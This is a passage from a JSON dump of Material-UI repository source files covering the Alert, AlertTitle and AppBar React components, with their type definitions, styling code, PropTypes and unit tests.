PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'standard'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['filled', 'outlined', 'standard']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Alert;\n"
  },
  {
    "path": "packages/mui-material/src/Alert/Alert.spec.tsx",
    "content": "import CloseRounded from '@mui/icons-material/CloseRounded';\nimport { createTheme } from '@mui/material';\nimport Alert from '@mui/material/Alert';\n\ncreateTheme({\n  components: {\n    MuiAlert: {\n      defaultProps: {\n        slots: {\n          closeIcon: CloseRounded,\n        },\n      },\n    },\n  },\n});\n\n<Alert\n  slotProps={{\n    root: {\n      className: 'px-4 py-3',\n    },\n    icon: {\n      className: 'mr-2',\n    },\n    message: {\n      className: 'flex-1',\n    },\n    action: {\n      className: 'ml-4',\n    },\n    closeButton: {\n      className: 'p-1',\n    },\n    closeIcon: {\n      className: 'w-5 h-5',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Alert/Alert.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Alert, { alertClasses as classes } from '@mui/material/Alert';\nimport Paper, { paperClasses } from '@mui/material/Paper';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport AlarmIcon from '@mui/icons-material/Alarm';\nimport describeConformance from '../../test/describeConformance';\nimport capitalize from '../utils/capitalize';\n\ndescribe('<Alert />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Alert onClose={() => {}} />, () => ({\n    classes,\n    inheritComponent: Paper,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiAlert',\n    testVariantProps: { variant: 'standard', color: 'success' },\n    testDeepOverrides: { slotName: 'message', slotClassName: classes.message },\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      icon: {\n        expectedClassName: classes.icon,\n      },\n      message: {\n        expectedClassName: classes.message,\n      },\n      action: {\n        expectedClassName: classes.action,\n      },\n      closeButton: {\n        expectedClassName: classes.closeButton,\n      },\n      closeIcon: {\n        expectedClassName: classes.closeIcon,\n      },\n    },\n  }));\n\n  describe('prop: square', () => {\n    it('should have rounded corners by default', () => {\n      render(<Alert data-testid=\"root\">Hello World</Alert>);\n\n      expect(screen.getByTestId('root')).to.have.class(paperClasses.rounded);\n    });\n\n    it('should disable rounded corners with square prop', () => {\n      render(\n        <Alert data-testid=\"root\" square>\n          Hello World\n        </Alert>,\n      );\n\n      expect(screen.getByTestId('root')).not.to.have.class(paperClasses.rounded);\n    });\n  });\n\n  describe('prop: action', () => {\n    it('using ownerState in styleOverrides should not throw', () => {\n      const theme = createTheme({\n        components: {\n          MuiAlert: {\n            styleOverrides: {\n              root: (props) => {\n                return {\n                  ...(props.ownerState.variant === 'filled' && {\n                    border: '1px red solid',\n                  }),\n                };\n              },\n            },\n          },\n        },\n      });\n\n      expect(() =>\n        render(\n          <ThemeProvider theme={theme}>\n            <Alert action={<button>Action</button>}>Alert</Alert>\n          </ThemeProvider>,\n        ),\n      ).not.to.throw();\n    });\n\n    it('should render the action provided into the Alert', () => {\n      render(<Alert action={<button data-testid=\"action\">Action</button>}>Hello World</Alert>);\n\n      expect(screen.getByTestId('action')).toBeVisible();\n    });\n  });\n\n  describe('slots.closeButton and slots.closeIcon', () => {\n    it('should override the default icon used in the close action', () => {\n      function MyCloseIcon() {\n        return <div data-testid=\"closeIcon\">X</div>;\n      }\n\n      render(\n        <Alert onClose={() => {}} slots={{ closeIcon: MyCloseIcon }}>\n          Hello World\n        </Alert>,\n      );\n\n      expect(screen.getByTestId('closeIcon')).toBeVisible();\n    });\n\n    it('should override the default button used in the close action', () => {\n      function MyCloseButton() {\n        return <button data-testid=\"closeButton\">X</button>;\n      }\n\n      render(\n        <Alert onClose={() => {}} slots={{ closeButton: MyCloseButton }}>\n          Hello World\n        </Alert>,\n      );\n\n      expect(screen.getByTestId('closeButton')).toBeVisible();\n    });\n  });\n\n  describe('slotProps.closeButton and slotProps.closeIcon', () => {\n    it('should apply the props on the close IconButton component', () => {\n      render(\n        <Alert\n          onClose={() => {}}\n          slotProps={{\n            closeButton: {\n              'data-testid': 'closeButton',\n              size: 'large',\n              className: 'my-class',\n            },\n          }}\n        >\n          Hello World\n        </Alert>,\n      );\n\n      const closeIcon = screen.getByTestId('closeButton');\n      expect(closeIcon).to.have.class(iconButtonClasses.sizeLarge);\n      expect(closeIcon).to.have.class('my-class');\n    });\n\n    it('should apply the props on the close SvgIcon component', () => {\n      render(\n        <Alert\n          onClose={() => {}}\n          slotProps={{\n            closeIcon: {\n              'data-testid': 'closeIcon',\n              fontSize: 'large',\n              className: 'my-class',\n            },\n          }}\n        >\n          Hello World\n        </Alert>,\n      );\n\n      const closeIcon = screen.getByTestId('closeIcon');\n      expect(closeIcon).to.have.class(svgIconClasses.fontSizeLarge);\n      expect(closeIcon).to.have.class('my-class');\n    });\n  });\n\n  describe('prop: icon', () => {\n    it('should render the icon provided into the Alert', () => {\n      render(<Alert icon={<div data-testid=\"icon\" />}>Hello World</Alert>);\n\n      expect(screen.getByTestId('icon')).toBeVisible();\n    });\n\n    it('should not render any icon if false is provided', () => {\n      render(\n        <Alert\n          icon={false}\n          severity=\"success\"\n          iconMapping={{ success: <div data-testid=\"success-icon\" /> }}\n        >\n          Hello World\n        </Alert>,\n      );\n\n      expect(screen.queryByTestId('success-icon')).to.eq(null);\n    });\n  });\n\n  describe('prop: iconMapping', () => {\n    const severities = ['success', 'info', 'warning', 'error'];\n    const iconMapping = severities.reduce((acc, severity) => {\n      acc[severity] = <div data-testid={`${severity}-icon`} />;\n      return acc;\n    }, {});\n\n    severities.forEach((severity) => {\n      it(`should render the icon provided into the Alert for severity ${severity}`, () => {\n        render(\n          <Alert severity={severity} iconMapping={iconMapping}>\n            Hello World\n          </Alert>,\n        );\n\n        expect(screen.getByTestId(`${severity}-icon`)).toBeVisible();\n      });\n    });\n\n    // https://github.com/mui/material-ui/pull/47460#issuecomment-3744629811\n    it('should apply the default icons to the different severity alerts if overriding one of the severity icon in theme', () => {\n      const theme = createTheme({\n        components: {\n          MuiAlert: {\n            defaultProps: {\n              iconMapping: {\n                warning: <AlarmIcon fontSize=\"inherit\" />,\n              },\n            },\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Alert severity=\"success\">This is a success Alert.</Alert>\n          <Alert severity=\"info\">This is an info Alert.</Alert>\n          <Alert severity=\"warning\">This is a warning Alert.</Alert>\n          <Alert severity=\"error\">This is an error Alert.</Alert>\n        </ThemeProvider>,\n      );\n\n      expect(screen.queryByTestId('SuccessOutlinedIcon')).not.to.equal(null);\n      expect(screen.queryByTestId('InfoOutlinedIcon')).not.to.equal(null);\n      // overriden icon in theme\n      expect(screen.queryByTestId('AlarmIcon')).not.to.equal(null);\n      expect(screen.queryByTestId('ErrorOutlineIcon')).not.to.equal(null);\n      // default warning icon\n      expect(screen.queryByTestId('ReportProblemOutlinedIcon')).to.equal(null);\n    });\n  });\n\n  describe('classes', () => {\n    it('should apply default color class to the root', () => {\n      render(<Alert data-testid=\"alert\" />);\n\n      expect(screen.getByTestId('alert')).to.have.class(classes.colorSuccess);\n    });\n\n    ['success', 'info', 'warning', 'error'].forEach((color) => {\n      it('should apply color classes to the root', () => {\n        render(<Alert data-testid=\"alert\" color={color} />);\n\n        expect(screen.getByTestId('alert')).to.have.class(classes[`color${capitalize(color)}`]);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Alert/alertClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AlertClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"standard\"`. */\n  standard: string;\n  /** Styles applied to the root element if `color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the root element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the root element if `color=\"warning\"`. */\n  colorWarning: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the icon wrapper element. */\n  icon: string;\n  /** Styles applied to the message wrapper element. */\n  message: string;\n  /** Styles applied to the action wrapper element if `action` is provided. */\n  action: string;\n}\n\nexport type AlertClassKey = keyof AlertClasses;\n\nexport function getAlertUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAlert', slot);\n}\n\nconst alertClasses: AlertClasses = generateUtilityClasses('MuiAlert', [\n  'root',\n  'action',\n  'icon',\n  'message',\n  'filled',\n  'colorSuccess',\n  'colorInfo',\n  'colorWarning',\n  'colorError',\n  'outlined',\n  'standard',\n]);\n\nexport default alertClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Alert/index.d.ts",
    "content": "export { default } from './Alert';\nexport * from './Alert';\n\nexport { default as alertClasses } from './alertClasses';\nexport * from './alertClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Alert/index.js",
    "content": "export { default } from './Alert';\n\nexport { default as alertClasses } from './alertClasses';\nexport * from './alertClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/AlertTitle.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { TypographyProps } from '../Typography';\nimport { AlertTitleClasses } from './alertTitleClasses';\n\nexport interface AlertTitleProps extends TypographyProps<'div'> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AlertTitleClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Alert](https://next.mui.com/material-ui/react-alert/)\n *\n * API:\n *\n * - [AlertTitle API](https://next.mui.com/material-ui/api/alert-title/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\nexport default function AlertTitle(props: AlertTitleProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/AlertTitle.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Typography from '../Typography';\nimport { getAlertTitleUtilityClass } from './alertTitleClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getAlertTitleUtilityClass, classes);\n};\n\nconst AlertTitleRoot = styled(Typography, {\n  name: 'MuiAlertTitle',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => {\n    return {\n      fontWeight: theme.typography.fontWeightMedium,\n      marginTop: -2,\n    };\n  }),\n);\n\nconst AlertTitle = React.forwardRef(function AlertTitle(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiAlertTitle',\n  });\n\n  const { className, ...other } = props;\n\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <AlertTitleRoot\n      gutterBottom\n      component=\"div\"\n      ownerState={ownerState}\n      ref={ref}\n      className={clsx(classes.root, className)}\n      {...other}\n    />\n  );\n});\n\nAlertTitle.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default AlertTitle;\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/AlertTitle.spec.tsx",
    "content": "import AlertTitle from '@mui/material/AlertTitle';\n\n<AlertTitle variant=\"h4\" />;\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/AlertTitle.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport AlertTitle, { alertTitleClasses as classes } from '@mui/material/AlertTitle';\nimport Typography from '@mui/material/Typography';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<AlertTitle />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<AlertTitle />, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiAlertTitle',\n    refInstanceof: window.HTMLDivElement,\n    testStateOverrides: { styleKey: 'root' },\n    skip: ['themeVariants', 'themeDefaultProps'],\n  }));\n});\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/alertTitleClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AlertTitleClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type AlertTitleClassKey = keyof AlertTitleClasses;\n\nexport function getAlertTitleUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAlertTitle', slot);\n}\n\nconst alertTitleClasses: AlertTitleClasses = generateUtilityClasses('MuiAlertTitle', ['root']);\n\nexport default alertTitleClasses;\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/index.d.ts",
    "content": "export { default } from './AlertTitle';\nexport * from './AlertTitle';\n\nexport { default as alertTitleClasses } from './alertTitleClasses';\nexport * from './alertTitleClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AlertTitle/index.js",
    "content": "export { default } from './AlertTitle';\n\nexport { default as alertTitleClasses } from './alertTitleClasses';\nexport * from './alertTitleClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/AppBar.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { PropTypes, Theme } from '../styles';\nimport { AppBarClasses } from './appBarClasses';\nimport { ExtendPaperTypeMap } from '../Paper/Paper';\n\nexport interface AppBarPropsColorOverrides {}\n\nexport interface AppBarOwnProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AppBarClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        PropTypes.Color | 'transparent' | 'error' | 'info' | 'success' | 'warning',\n        AppBarPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * Shadow depth, corresponds to `dp` in the spec.\n   * It accepts values between 0 and 24 inclusive.\n   * @default 4\n   */\n  elevation?: number | undefined;\n  /**\n   * If true, the `color` prop is applied in dark mode.\n   * @default false\n   */\n  enableColorOnDark?: boolean | undefined;\n  /**\n   * The positioning type. The behavior of the different options is described\n   * [in the MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/position).\n   * Note: `sticky` is not universally supported and will fall back to `static` when unavailable.\n   * @default 'fixed'\n   */\n  position?: 'fixed' | 'absolute' | 'sticky' | 'static' | 'relative' | undefined;\n  /**\n   * If `false`, rounded corners are enabled.\n   * @default true\n   */\n  square?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type AppBarTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'header',\n> = ExtendPaperTypeMap<\n  {\n    props: AdditionalProps & AppBarOwnProps;\n    defaultComponent: RootComponent;\n  },\n  'position' | 'color' | 'classes' | 'elevation' | 'square'\n>;\n\n/**\n *\n * Demos:\n *\n * - [App Bar](https://next.mui.com/material-ui/react-app-bar/)\n *\n * API:\n *\n * - [AppBar API](https://next.mui.com/material-ui/api/app-bar/)\n * - inherits [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\n\ndeclare const AppBar: OverridableComponent<AppBarTypeMap>;\n\nexport type AppBarProps<\n  RootComponent extends React.ElementType = AppBarTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<AppBarTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default AppBar;\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/AppBar.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport Paper from '../Paper';\nimport { getAppBarUtilityClass } from './appBarClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, position, classes } = ownerState;\n\n  const slots = {\n    root: ['root', `color${capitalize(color)}`, `position${capitalize(position)}`],\n  };\n\n  return composeClasses(slots, getAppBarUtilityClass, classes);\n};\n\n// var2 is the fallback.\n// Ex. var1: 'var(--a)', var2: 'var(--b)'; return: 'var(--a, var(--b))'\nconst joinVars = (var1, var2) => (var1 ? `${var1.replace(')', '')}, ${var2})` : var2);\n\nconst AppBarRoot = styled(Paper, {\n  name: 'MuiAppBar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[`position${capitalize(ownerState.position)}`],\n      styles[`color${capitalize(ownerState.color)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    flexDirection: 'column',\n    width: '100%',\n    boxSizing: 'border-box', // Prevent padding issue with the Modal and fixed positioned AppBar.\n    flexShrink: 0,\n    variants: [\n      {\n        props: { position: 'fixed' },\n        style: {\n          position: 'fixed',\n          zIndex: (theme.vars || theme).zIndex.appBar,\n          top: 0,\n          left: 'auto',\n          right: 0,\n          '@media print': {\n            // Prevent the app bar to be visible on each printed page.\n            position: 'absolute',\n          },\n        },\n      },\n      {\n        props: { position: 'absolute' },\n        style: {\n          position: 'absolute',\n          zIndex: (theme.vars || theme).zIndex.appBar,\n          top: 0,\n          left: 'auto',\n          right: 0,\n        },\n      },\n      {\n        props: { position: 'sticky' },\n        style: {\n          position: 'sticky',\n          zIndex: (theme.vars || theme).zIndex.appBar,\n          top: 0,\n          left: 'auto',\n          right: 0,\n        },\n      },\n      {\n        props: { position: 'static' },\n        style: {\n          position: 'static',\n        },\n      },\n      {\n        props: { position: 'relative' },\n        style: {\n          position: 'relative',\n        },\n      },\n      {\n        props: { color: 'inherit' },\n        style: {\n          '--AppBar-color': 'inherit',\n          color: 'var(--AppBar-color)',\n        },\n      },\n      {\n        props: { color: 'default' },\n        style: {\n          '--AppBar-background': theme.vars\n            ? theme.vars.palette.AppBar.defaultBg\n            : theme.palette.grey[100],\n          '--AppBar-color': theme.vars\n            ? theme.vars.palette.text.primary\n            : theme.palette.getContrastText(theme.palette.grey[100]),\n          ...theme.applyStyles('dark', {\n            '--AppBar-background': theme.vars\n              ? theme.vars.palette.AppBar.defaultBg\n              : theme.palette.grey[900],\n            '--AppBar-color': theme.vars\n              ? theme.vars.palette.text.primary\n              : theme.palette.getContrastText(theme.palette.grey[900]),\n          }),\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['contrastText']))\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            '--AppBar-background': (theme.vars ?? theme).palette[color].main,\n            '--AppBar-color': (theme.vars ?? theme).palette[color].contrastText,\n          },\n        })),\n      {\n        props: (props) =>\n          props.enableColorOnDark === true && !['inherit', 'transparent'].includes(props.color),\n        style: {\n          backgroundColor: 'var(--AppBar-background)',\n          color: 'var(--AppBar-color)',\n        },\n      },\n      {\n        props: (props) =>\n          props.enableColorOnDark === false && !['inherit', 'transparent'].includes(props.color),\n        style: {\n          backgroundColor: 'var(--AppBar-background)',\n          color: 'var(--AppBar-color)',\n          ...theme.applyStyles('dark', {\n            backgroundColor: theme.vars\n              ? joinVars(theme.vars.palette.AppBar.darkBg, 'var(--AppBar-background)')\n              : null,\n            color: theme.vars\n              ? joinVars(theme.vars.palette.AppBar.darkColor, 'var(--AppBar-color)')\n              : null,\n          }),\n        },\n      },\n      {\n        props: { color: 'transparent' },\n        style: {\n          '--AppBar-background': 'transparent',\n          '--AppBar-color': 'inherit',\n          backgroundColor: 'var(--AppBar-background)',\n          color: 'var(--AppBar-color)',\n          ...theme.applyStyles('dark', {\n            backgroundImage: 'none',\n          }),\n        },\n      },\n    ],\n  })),\n);\n\nconst AppBar = React.forwardRef(function AppBar(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAppBar' });\n  const {\n    className,\n    color = 'primary',\n    enableColorOnDark = false,\n    position = 'fixed',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    position,\n    enableColorOnDark,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <AppBarRoot\n      square\n      component=\"header\"\n      ownerState={ownerState}\n      elevation={4}\n      className={clsx(\n        classes.root,\n        {\n          'mui-fixed': position === 'fixed', // Useful for the Dialog\n        },\n        className,\n      )}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nAppBar.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'default',\n      'inherit',\n      'primary',\n      'secondary',\n      'transparent',\n      'error',\n      'info',\n      'success',\n      'warning',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * Shadow depth, corresponds to `dp` in the spec.\n   * It accepts values between 0 and 24 inclusive.\n   * @default 4\n   */\n  elevation: PropTypes.number,\n  /**\n   * If true, the `color` prop is applied in dark mode.\n   * @default false\n   */\n  enableColorOnDark: PropTypes.bool,\n  /**\n   * The positioning type. The behavior of the different options is described\n   * [in the MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/position).\n   * Note: `sticky` is not universally supported and will fall back to `static` when unavailable.\n   * @default 'fixed'\n   */\n  position: PropTypes.oneOf(['absolute', 'fixed', 'relative', 'static', 'sticky']),\n  /**\n   * If `false`, rounded corners are enabled.\n   * @default true\n   */\n  square: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default AppBar;\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/AppBar.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport AppBar from '@mui/material/AppBar';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nfunction AppBarTest() {\n  return (\n    <div>\n      <AppBar />\n      <AppBar elevation={4} />\n\n      <AppBar\n        component=\"a\"\n        href=\"test\"\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n        }}\n      />\n      <AppBar component={CustomComponent} stringProp=\"test\" numberProp={0} />\n      {/* @ts-expect-error missing stringProp and numberProp */}\n      <AppBar component={CustomComponent} />\n    </div>\n  );\n}\n\n// `color`\n<AppBar color=\"inherit\" />;\n<AppBar color=\"primary\" />;\n<AppBar color=\"secondary\" />;\n<AppBar color=\"default\" />;\n<AppBar color=\"transparent\" />;\n<AppBar color=\"error\" />;\n<AppBar color=\"success\" />;\n<AppBar color=\"info\" />;\n<AppBar color=\"warning\" />;\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/AppBar.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport AppBar, { appBarClasses as classes } from '@mui/material/AppBar';\nimport Paper from '@mui/material/Paper';\nimport { ThemeProvider, CssVarsProvider, hexToRgb } from '@mui/material/styles';\nimport defaultTheme from '../styles/defaultTheme';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<AppBar />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<AppBar>Conformance?</AppBar>, () => ({\n    classes,\n    inheritComponent: Paper,\n    render,\n    muiName: 'MuiAppBar',\n    refInstanceof: window.HTMLElement,\n    testVariantProps: { position: 'relative' },\n    testStateOverrides: { prop: 'color', value: 'secondary', styleKey: 'colorSecondary' },\n  }));\n\n  it('should render with the root class and primary', () => {\n    const { container } = render(<AppBar>Hello World</AppBar>);\n    const appBar = container.firstChild;\n    expect(appBar).to.have.class(classes.root);\n    expect(appBar).to.have.class(classes.colorPrimary);\n    expect(appBar).not.to.have.class(classes.colorSecondary);\n  });\n\n  it('should render a primary app bar', () => {\n    const { container } = render(<AppBar color=\"primary\">Hello World</AppBar>);\n    const appBar = container.firstChild;\n    expect(appBar).to.have.class(classes.root);\n    expect(appBar).to.have.class(classes.colorPrimary);\n    expect(appBar).not.to.have.class(classes.colorSecondary);\n  });\n\n  it('should render an secondary app bar', () => {\n    const { container } = render(<AppBar color=\"secondary\">Hello World</AppBar>);\n    const appBar = container.firstChild;\n    expect(appBar).to.have.class(classes.root);\n    expect(appBar).not.to.have.class(classes.colorPrimary);\n    expect(appBar).to.have.class(classes.colorSecondary);\n  });\n\n  it('should change elevation', () => {\n    render(\n      <AppBar data-testid=\"root\" elevation={5} classes={{ elevation5: 'app-bar-elevation-5' }}>\n        Hello World\n      </AppBar>,\n    );\n\n    const appBar = screen.getByTestId('root');\n    expect(appBar).not.to.have.class(classes.elevation5);\n    expect(appBar).not.to.have.class('app-bar-elevation-5');\n  });\n\n  describe('Dialog', () => {\n    it('should add a .mui-fixed class', () => {\n      const { container } = render(<AppBar position=\"fixed\">Hello World</AppBar>);\n      const appBar = container.firstChild;\n      expect(appBar).to.have.class('mui-fixed');\n    });\n  });\n\n  it.skipIf(isJsdom())('should inherit Paper background color with ThemeProvider', function test() {\n    render(\n      <ThemeProvider theme={defaultTheme}>\n        <AppBar data-testid=\"root\" color=\"inherit\">\n          Hello World\n        </AppBar>\n      </ThemeProvider>,\n    );\n\n    const appBar = screen.getByTestId('root');\n    expect(appBar).toHaveComputedStyle({\n      backgroundColor: hexToRgb(defaultTheme.palette.background.paper),\n    });\n  });\n\n  it.skipIf(isJsdom())(\n    'should inherit Paper background color with CssVarsProvider',\n    function test() {\n      render(\n        <CssVarsProvider>\n          <AppBar data-testid=\"root\" color=\"inherit\">\n            Hello World\n          </AppBar>\n        </CssVarsProvider>,\n      );\n\n      const appBar = screen.getByTestId('root');\n      expect(appBar).toHaveComputedStyle({\n        backgroundColor: hexToRgb(defaultTheme.palette.background.paper),\n      });\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/appBarClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AppBarClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"fixed\"`. */\n  positionFixed: string;\n  /** Styles applied to the root element if `position=\"absolute\"`. */\n  positionAbsolute: string;\n  /** Styles applied to the root element if `position=\"sticky\"`. */\n  positionSticky: string;\n  /** Styles applied to the root element if `position=\"static\"`. */\n  positionStatic: string;\n  /** Styles applied to the root element if `position=\"relative\"`. */\n  positionRelative: string;\n  /** Styles applied to the root element if `color=\"default\"`. */\n  colorDefault: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"inherit\"`. */\n  colorInherit: string;\n  /** Styles applied to the root element if `color=\"transparent\"`. */\n  colorTransparent: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the root element if 